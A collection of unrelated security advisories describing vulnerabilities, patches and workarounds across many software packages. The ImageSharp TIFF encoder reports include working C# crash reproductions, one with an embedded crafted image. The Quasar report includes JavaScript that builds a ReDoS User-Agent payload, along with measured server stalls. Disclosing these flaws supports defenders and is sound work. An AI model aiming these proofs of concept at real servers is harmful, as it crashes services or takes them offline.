Impact

An external service credential configured with access restrictions (e.g., read-only) could bypass those restrictions by routing requests through plugin delegation paths. This could allow a restricted service to perform operations beyond its intended scope, including write operations on plugins it was restricted to read-only access for.

Patches

Patched in @backstage/backend-defaults version 0.17.8

Workarounds

If you're unable to upgrade immediately:

- If practical, replace restricted credentials with separate, purpose-specific unrestricted credentials scoped to trusted consumers. - Restrict network-level access to Backstage backend API endpoints to trusted callers only.

Impact

An authenticated attacker with control over a TechDocs source repository could cause a documentation build to retrieve and publish data from network locations reachable by the build environment. Exposure depends on deployment topology, build mode, and target endpoint protections. Modern cloud metadata services that require tokens or special headers are not directly accessible through the affected behavior.

Patches

Upgrade @backstage/plugin-techdocs-node to a patched version for the applicable release line:

- 1.14.x: upgrade to 1.14.7 or later in that line, available in Backstage v1.50.6. - 1.15.x: upgrade to 1.15.5 or later, available in Backstage v1.54.8. - Current mainline: upgrade to 2.0.0 or later, available in Backstage v1.55.0.

The update removes MkDocs plugins outside the built-in allowlist. To retain additional plugins, review them and configure techdocs.generator.mkdocs.dangerouslyAllowAdditionalPlugins, or supply dangerouslyAllowAdditionalPlugins when creating the generator directly. Plugins supplied through defaultPlugins remain permitted.

Workarounds

- Restrict control of TechDocs source repositories and catalog registration to trusted maintainers. - Run documentation builders with outbound access to private and link-local networks denied. - Require token- or header-protected cloud instance metadata services.

Summary

hydra-optuna-sweeper accepted a configuration-controlled dotted path in hydra.sweeper.customsearchspace, resolved it with the lower-level hydra.utils.getmethod() API, and later invoked the returned callable.

Hydra's object-lookup helpers intentionally trust their input and do not apply the execution policy used by instantiate() and logging configuration. As a result, untrusted Optuna multirun configuration could select installed Python code for execution in the Hydra controller process.

Impact

Exploitation requires control of an application's Optuna sweep configuration or command-line overrides and an importable callable in the application's environment. Selected code runs with the privileges of the application.

On affected Hydra 1.4 development releases, this path bypasses an execution whitelist provided by trusted application code. Hydra 1.3 has no execution-whitelist security boundary; there, the same change restores the legacy blocklist as defense in depth.

Fix

The Optuna sweeper now resolves the configured callback through hydra.utils.instantiate() as a partial callable. On Hydra 1.4, the active execution whitelist therefore authorizes the callback before use. On Hydra 1.3, the legacy blocklist is applied as defense in depth.

The public getobject(), getmethod(), getstaticmethod(), and getclass() helpers remain lower-level trusted-input APIs. Their documentation now warns against passing values derived from untrusted configuration and directs config-driven construction to instantiate().

Affected versions

- Package: hydra-optuna-sweeper - Stable affected range: >= 1.2.0, < 1.3.0 - Stable fixed version: 1.3.0 - Development affected range: >= 1.4.0.dev4, < 1.4.0.dev10 - Development fixed version: 1.4.0.dev10

The feature was introduced in 1.2.0 and is absent from the 1.1 release line. The 1.4 development line was affected from 1.4.0.dev4 through 1.4.0.dev9.

Workaround

Treat Optuna sweep configuration and command-line overrides as trusted. Do not set customsearchspace from externally controlled input or allow untrusted users to place modules on the application import path.

Reported by zx (GitHub: @manus-pi).

Confused deputy in WebAPKs in Google Chrome on on Android prior to 155.0.8059.39 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)

Incorrect authorization in Actor in Google Chrome on on Android prior to 155.0.8059.39 allowed a remote attacker who had compromised the renderer process to potentially bypass site isolation via a crafted HTML page. (Chromium security severity: Low)

Dell System Update, versions prior to 2.3.0.0, contains an Improper Certificate Validation vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.

Summary

The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default TiffEncoder terminates the process with an unhandled exception.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.1.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The T6 compressor was introduced by commit 3c9eb470a07a15012c2a29ad84090dcc804a7975, first released in v2.1.0, with the same Width rowsPerStrip allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. Details

TiffCcittCompressor.Initialize allocates Width rowsPerStrip bytes. A 1×1 strip therefore receives one byte.

After encoding the row, T6BitCompressor.CompressStrip appends two 12-bit EOFB codes. WriteCode writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws ArgumentOutOfRangeException, after the unchecked writes have exceeded the one-byte span.

The default TIFF encoder can inherit CcittGroup4Fax and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.

Tested environment

- Published NuGet package: SixLabors.ImageSharp 4.1.1 - Target framework: net8.0 - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker

No active exploitation is known.

Reproduction

Create a net8.0 project referencing the published 4.1.1 assembly and use this Program.cs:

csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants;

string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");

using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");

using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); }

Console.WriteLine($"encoded=True bytes={output.Length}");

Run:

text dotnet run -- exploit dotnet run -- control

The exploit produced exit code 134:

text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span1 rows, Int32 height)

The control completed with exit code 0:

text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212

Impact

One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Summary

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 CcittGroup3Fax encoder path. It replaces the prior, unrelated ICC content.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure. Preconditions and impact

The affected path is reached when the application encodes 1-bit image data with TiffCompression.CcittGroup3Fax. This can happen when an application explicitly selects TiffEncoder.BitsPerPixel = Bit1 and TiffEncoder.Compression = CcittGroup3Fax. It can also occur when an application decodes a TIFF and re-encodes it using the default TiffEncoder, because ImageSharp retains TIFF frame metadata including the compression and bit depth.

TiffCompressorFactory creates T4BitCompressor for CcittGroup3Fax. TiffCcittCompressor.Initialize allocates Width rowsPerStrip bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. WriteCode calls BitWriterUtils.WriteBit and WriteZeroBit, both of which use Unsafe.Add without a capacity check. Thus the encoded bit stream can exceed the allocated span.

A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal System.AccessViolationException during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.

Tested environment

- Package binary: NuGet SixLabors.ImageSharp 4.1.1 - Target framework: net8.0 - Runtime: .NET 8.0.30; SDK 8.0.424 - Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker

No active exploitation is known.

Reproduction

In a net8.0 project that references the published SixLabors.ImageSharp 4.1.1 binary, save the following as Program.cs. Run dotnet run -- exploit 2000 for the trigger and dotnet run -- control 2000 for the control.

csharp using System; using System.IO; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; using SixLabors.ImageSharp.PixelFormats;

string mode = args.Length > 0 ? args[0] : "exploit"; int width = mode == "control" ? 64 : 1; int height = args.Length > 1 ? int.Parse(args[1]) : 2000;

Console.WriteLine($"mode={mode} width={width} height={height}"); using var image = new Image<L8>(width, height); for (int y = 0; y < image.Height; y++) for (int x = 0; x < image.Width; x++) image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));

var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); metadata.BitsPerPixel = TiffBitsPerPixel.Bit1; metadata.Compression = TiffCompression.CcittGroup3Fax;

using var output = new MemoryStream(); image.Save(output, new TiffEncoder()); Console.WriteLine($"Encoded OK: {output.Length} bytes");

Against the published 4.1.1 package, this produced:

text mode=exploit width=1 height=2000 Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at ...TiffCcittCompressor.GetWhiteTermCode(...) at ...T4BitCompressor.CompressStrip(...)

A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:

text mode=control width=64 height=2000 Encoded OK: 76230 bytes

The direct public configuration path also triggers with:

csharp new TiffEncoder { BitsPerPixel = TiffBitsPerPixel.Bit1, Compression = TiffCompression.CcittGroup3Fax };

Summary

One unauthenticated request with a crafted User-Agent stalls a Quasar SSR server for seconds.

Quasar auto-installs its Platform plugin on every server-side render, and Platform.parseSSR() feeds the raw, unbounded User-Agent request header into a chain of backtracking regular expressions in getMatch(). One of those patterns contains a greedy capture followed by two unbounded . scans, so a crafted header costs time proportional to the cube of its length. An 8 KB User-Agent blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline.

Details

Platform is in the autoInstalledPlugins array in ui/src/install-quasar.js, so it is installed unconditionally by app.use(Quasar, ...). The generated SSR entry (app-vite/templates/entry/app.js, called from app-vite/templates/entry/server-entry.js) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (ui/src/plugins/platform/Platform.js):

js Platform.parseSSR = ssrContext => { const ua = ssrContext.req.headers['user-agent'] || ssrContext.req.headers['User-Agent'] || ''

return { ...client, userAgent: ua, is: getPlatform(ua) } }

getPlatform() lowercases the string and passes it to getMatch() (ui/src/plugins/platform/Platform.js:23-45), which evaluates an ordered chain of exec() calls. The sixth alternative, at ui/src/plugins/platform/Platform.js:32-34, is the problem:

js /(webkit)\/.(version)\/.(safari)\//.exec(userAgent)

([\w.]+) is greedy and unbounded, and it is followed by two unbounded . scans. When the input contains webkit/, many version/ tokens, and no safari/, the pattern can only fail after the engine has tried every combination of "where ([\w.]+) stops" against "which version occurrence the first . lands on" against "how far the second . searches for safari". That is O(k m L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape.

Measured on the functions loaded verbatim out of ui/src/plugins/platform/Platform.js, cost grows by a factor of eight for every doubling of the header:

UA 3998 B -> 554 ms UA 7998 B -> 4368 ms fits nginx default largeclientheaderbuffers 8k UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k

A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length.

Client-side rendering is not affected: there getPlatform() only ever sees navigator.userAgent, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network.

PoC

The vulnerable pattern ships in the published package. From nodemodules/quasar/dist/quasar.server.prod.js of quasar@2.23.1:

function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||... ||/(webkit)\/.(version)\/.(safari)\//.exec(e)||... I.parseSSR=e=>{let t=e.req.headers[user-agent]||e.req.headers[User-Agent]||; return{...F,userAgent:t,is:P(t)}};

Build the header:

js const k = 3200 // filler that maximises the greedy capture const m = 479 // "version/" tokens for the first . to land on const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes

Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package:

js import http from 'node:http' import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js

http.createServer((req, res) => { const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does res.end(<!doctype html><html><body>browser=${platform.is.name}</body></html>) }).listen(3100, '127.0.0.1')

Results of driving that server with the 7998-byte header:

[1] BASELINE - normal browser UA benign UA, GET / status=200 13 ms benign UA, GET / (2nd) status=200 1 ms

[2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length same-size benign UA status=200 2 ms

[3] POSITIVE - crafted User-Agent malicious UA, GET / status=200 4355 ms

[4] POSITIVE - crafted UA against a NON-EXISTENT route malicious UA, GET /404path status=200 4319 ms

[5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later attacker (malicious UA) status=200 4329 ms VICTIM (normal browser, benign UA) status=200 4208 ms

[6] SUSTAINED - 5 attacker requests in flight, victim loads the site VICTIM during 5-request flood status=200 21646 ms

Step 5 is the part that matters. The victim sends an ordinary request with an ordinary User-Agent and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability.

Negative control on the library itself. One line changed in the installed nodemodules/quasar/dist/quasar.server.prod.js:

- I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}}; + I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}};

Re-running the identical attack against the patched build:

[3] malicious UA, GET / status=200 2 ms was 4355 ms [4] malicious UA, GET /404path status=200 2 ms was 4319 ms [5] VICTIM (normal browser) status=200 3 ms was 4208 ms [6] VICTIM during 5-request flood status=200 2 ms was 21646 ms

Detection of real browsers is unchanged by the cap (chrome 126.0.0.0, platform linux), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else.

The same numbers come out of a server that never touches parseSSR directly and instead boots Quasar the way the generated entry does, letting install-quasar.js run the auto-installed plugin list on its own:

js const ssrContext = { req, res } const app = createSSRApp(RootComponent) app.use(Quasar, {}, ssrContext) const html = await renderToString(app, ssrContext)

[3] malicious UA, GET / status=200 4354 ms [5] VICTIM (normal browser, benign UA) status=200 4269 ms [6] VICTIM during 5-request flood status=200 21872 ms [2] same-size benign UA (7998 B) status=200 2 ms

Impact

Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both quasar dev -m ssr and quasar build -m ssr. There is no configuration that turns it off, because Platform is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload.

Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB.

Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local navigator.userAgent. Static site generation is not affected either, because the ssrContext used there is supplied by the developer rather than by a request.

A flaw was discovered in the qemu code for temporarily exposing an NBD server (used for storage migration and other tasks), where qemu can crash if a client still has a socket open at the time the server is taken offline. Even when qemu is set up to only accept clients with proper TLS credentials, an attacker without the TLS credentials can exploit the flaw by connecting a second socket while a storage migration is ongoing through the intended socket, where the attacker then stalls the NBD handshake to not reach the point of the TLS negotiation, then waiting for the server to go offline. When the NBD server is stopped, closing the attacker's socket can cause qemu to crash, forming a denial of service attack.

Impact Under certain local upload configurations, an uploaded XML file and stylesheet could execute JavaScript in the Payload origin when a logged-in user opens the file.

You are affected if: - You accept XML uploads (accepted by default).

Patches Users should upgrade Payload packages to >= 3.90.0 or >= 4.0.0-canary.34.

Workarounds Disallow XML/XSL uploads.

Impact A crafted request to the public first-register operation can be used to perform a RCE exploit.

You are affected if:

- You use local auth strategy and your application remains without an initial user created

Patches

In the patched version data submission to create first user is properly sanitized.

Users should upgrade Payload packages to >= 3.90.0 or >= 4.0.0-canary.34.

Impact

Token refresh and password reset responses could return fields that the requesting user did not have access to.

You are affected if:

- An authentication collection contains hidden or read-restricted fields.

Patches

Authentication responses now apply field access and hidden-field filtering before returning user documents. Full user documents remain available server-side for access control.

Users should upgrade Payload packages to >= 3.90.0 or >= 4.0.0-canary.34.

Custom authentication strategies remain responsible for filtering user documents returned through custom responses.

Workarounds

There is no complete workaround. Users should upgrade Payload packages to >= 3.90.0 or >= 4.0.0-canary.34.

A flaw was found in xdgmime, affecting all versions. A heap-based buffer overflow can occur in xdgmimemagicparsemagicline() in the xdgmimemagic.c file on little-endian systems when an attacker-controlled MIME magic file in a user-writable XDG data location (e.g., in the $XDGDATAHOME/mime/magic path) is parsed by an application performing MIME type detection (e.g., via gcontenttypeguess()). When performing byte-swap, incorrect pointer arithmetic on the write side causes an out-of-bounds write of 2 bytes, resulting in an application crash or memory corruption. To exploit this flaw, an attacker must trick a user into installing a malicious MIME magic file.

Dell Container Storage Modules (CSM) versions prior to 1.18.0, contains an Improper Certificate Validation vulnerability in the proxy-server component. An unauthenticated adjacent network attacker could potentially exploit this vulnerability, leading to information exposure of storage backend administrator credentials.

Impact A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute.

Patches Versions starting with 0.29.1 have updated with guardrails to prevent arbitrary code generation. Upgrade to this version immediately and audit any code previously generated from untrusted documents.

Workarounds Do not generate clients for documents you don't completely trust. Carefully verify any existing generated code from untrusted documents.

Impact

An attacker who controls or tampers with an OpenAPI description can cause Kiota to emit attacker-controlled Java or PHP source outside a generated documentation comment. The affected sanitizers remove comment terminators rather than neutralizing them, allowing a terminator to reform from overlapping characters or from subsequent normalization. The Java sanitizer also removes non-ASCII characters after removing terminators, which can create a new terminator.

Exploitation requires a developer or build pipeline to generate a client from the malicious description and subsequently compile and load the Java output, or load the PHP output. Code executes in the consuming application's or build environment's security context, not merely because Kiota reads the description.

Affected versions

The affected NuGet packages are Microsoft.OpenApi.Kiota and Microsoft.OpenApi.Kiota.Builder. The Java normalization-order defect was introduced in version 0.5.0 and remains present through version 1.34.1, including the separate 1.29.1 security-backport release. The PHP delimiter-reformation variant is also present in version 1.34.1 and 1.29.1. Version 1.35.0 fixes both variants.

The package version range below reflects the Java defect; it does not assert that PHP generation existed in every version in that range.

Patches

Upgrade to Kiota 1.35.0 or later and regenerate affected clients. The fix neutralizes block-comment delimiters instead of deleting them, and performs Java delimiter neutralization after non-ASCII normalization.

- Fix: https://github.com/microsoft/kiota/pull/8017 - Fixed release: https://github.com/microsoft/kiota/releases/tag/v1.35.0

Workarounds

Until upgrading, generate clients only from trusted, integrity-protected OpenAPI descriptions. Review generated Java and PHP source before compiling, loading, or deploying it. Restrict the privileges and secrets available to generation and build environments.

Related advisories

This is distinct from PHP double-quoted string interpolation (GHSA-jqwh-526h-c92j) and C# XML documentation newline breakout (GHSA-3hrf-2gc2-mx32). Those fixes do not address Java/PHP block-comment delimiter reformation.

Microsoft UFO is an open-source framework for intelligent automation across devices and platforms. Prior to 3.0.9, the runshell tool in the CommandLineExecutor component of ufo/client/mcp/localservers/climcpserver.py validates only the first token of the bashcommand parameter and permits explorer.exe. On Windows, explorer.exe delegates its following path argument to ShellExecute, so an attacker-influenced agent call can launch an arbitrary executable or script as the desktop user even though the subprocess uses shell=False. Exploitation depends on a user running an affected agent workflow and on inducing the tool call, but successful execution can access or modify that user's files, tokens, and sessions. This issue is fixed in version 3.0.9.

Mooncake Store master through 0.3.13.post1 contains a missing authentication vulnerability that allows unauthenticated attackers to force-delete any object via Remove, RemoveByRegex, RemoveAll and BatchRemove on the cororpc port. Attackers can send forged requests with the force flag set to bypass lease checks, wipe keys matching any regex, or clear the entire store, causing cache loss and request failures.

lrzsz before 0.13.0 contains a path traversal vulnerability in the lrz receive utility's restricted mode that allows malicious ZMODEM senders to write files outside the current directory using absolute pathnames. Because checkpath() in src/lrz.c only rejects '../' sequences unless built with --enable-pubdir, attackers can send files named with absolute paths to overwrite any file writable by the receiving user.

The Post SMTP – Complete Email Deliverability and SMTP Solution with Email Logs, Alerts, Backup SMTP & Mobile App plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'useremail' parameter in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable without authentication on WordPress Multisite installations with public registration enabled, as WordPress accepts email addresses containing numeric HTML character references that Post SMTP's stricter validator rejects, persisting the attacker-controlled address verbatim to the email log via the failed-send exception message.

A flaw was found in libxml2 with Python bindings enabled. A remote attacker could exploit this vulnerability by providing a specially crafted XML document containing a Document Type Definition (DTD) with enumerated attribute values. This triggers a double-free error in the SAX attributeDecl callback handler, where a string is freed twice. This flaw can lead to a denial of service (DoS) due to a reproducible crash in Python applications using the libxml2 SAX bindings.

A flaw was found in GDB's STABS debug format parser. The readmemberfunctions() function in gdb/stabsread.c contains a linked list removal bug in the code that separates destructor and non-destructor member functions of C++ classes. The bug causes the destructor entries to remain in the main function list while the list length counter is decremented, resulting in an out-of-bounds write when the function list is copied to its final allocated array. An attacker can craft an ELF binary with malicious .stab and .stabstr sections that triggers this out-of-bounds write when a user opens the file in GDB and performs any symbol-inspection operation such as setting a breakpoint. The inferior process does not need to be executed. Under controlled conditions, this was demonstrated to achieve execution of arbitrary commands within the GDB process.

A stack buffer overflow was found in ICU version 76.0.1. While running the genrb binary the 'subtag' struct is overflowed in SRBRoot::addTag function. This may lead to memory corruption and arbitrary code execution.

A memory leak flaw was found in Golang in the RSA encrypting/decrypting code, which might lead to a resource exhaustion vulnerability using attacker-controlled inputs​. The memory leak happens in github.com/golang-fips/openssl/openssl/rsa.go#L113. The objects leaked are pkey​ and ctx​. That function uses named return parameters to free pkey​ and ctx​ if there is an error initializing the context or setting the different properties. All return statements related to error cases follow the "return nil, nil, fail(...)" pattern, meaning that pkey​ and ctx​ will be nil inside the deferred function that should free them.

A flaw was found in WildFly Elytron. Password hashing and verification normalize input with Unicode NFKC, which can collapse fullwidth characters to ASCII equivalents. A remote attacker can more easily guess affected passwords by using an ASCII-only dictionary against accounts whose passwords were intended to include those non-ASCII characters, leading to unauthorized access.

A flaw was found in SSSD's IdP authentication provider. The evalaccesstokenbuf() function compares the OIDC subject identifier using strncmp() with the authenticated user's identifier length, performing a prefix comparison instead of an exact match. An attacker whose IdP identifier is a strict prefix of a target user's identifier can authenticate as the target user.

A flaw was found in libsolv. This heap buffer overflow occurs during the decompression of attacker-controlled compressed data within .solv files due to insufficient input validation. An attacker can provide a specially crafted .solv file, which, when processed by a vulnerable application, can lead to out-of-bounds memory access. This could result in information disclosure, alteration of program execution, or a denial of service.

An elevation of privilege vulnerability exists when Microsoft Exchange Outlook Web Access (OWA) fails to properly handle web requests. An attacker who successfully exploited this vulnerability could perform script/content injection attacks and attempt to trick the user into disclosing sensitive information. To exploit the vulnerability, an attacker could send a specially crafted email message containing a malicious link to a user. Alternatively, an attacker could use a chat client to social engineer a user into clicking the malicious link. The security update addresses the vulnerability by correcting how Microsoft Exchange validates web requests. Note: In order to exploit this vulnerability, a user must click a maliciously crafted link from an attacker.

A flaw was found in gnutls. This vulnerability occurs because gnutls performs case-sensitive comparisons of nameConstraints labels, specifically for dNSName (DNS) or rfc822Name (email) constraints within excludedSubtrees or permittedSubtrees. A remote attacker can exploit this by crafting a leaf certificate with casing differences in the Subject Alternative Name (SAN), leading to a policy bypass where a certificate that should be rejected is instead accepted. This could result in unauthorized access or information disclosure.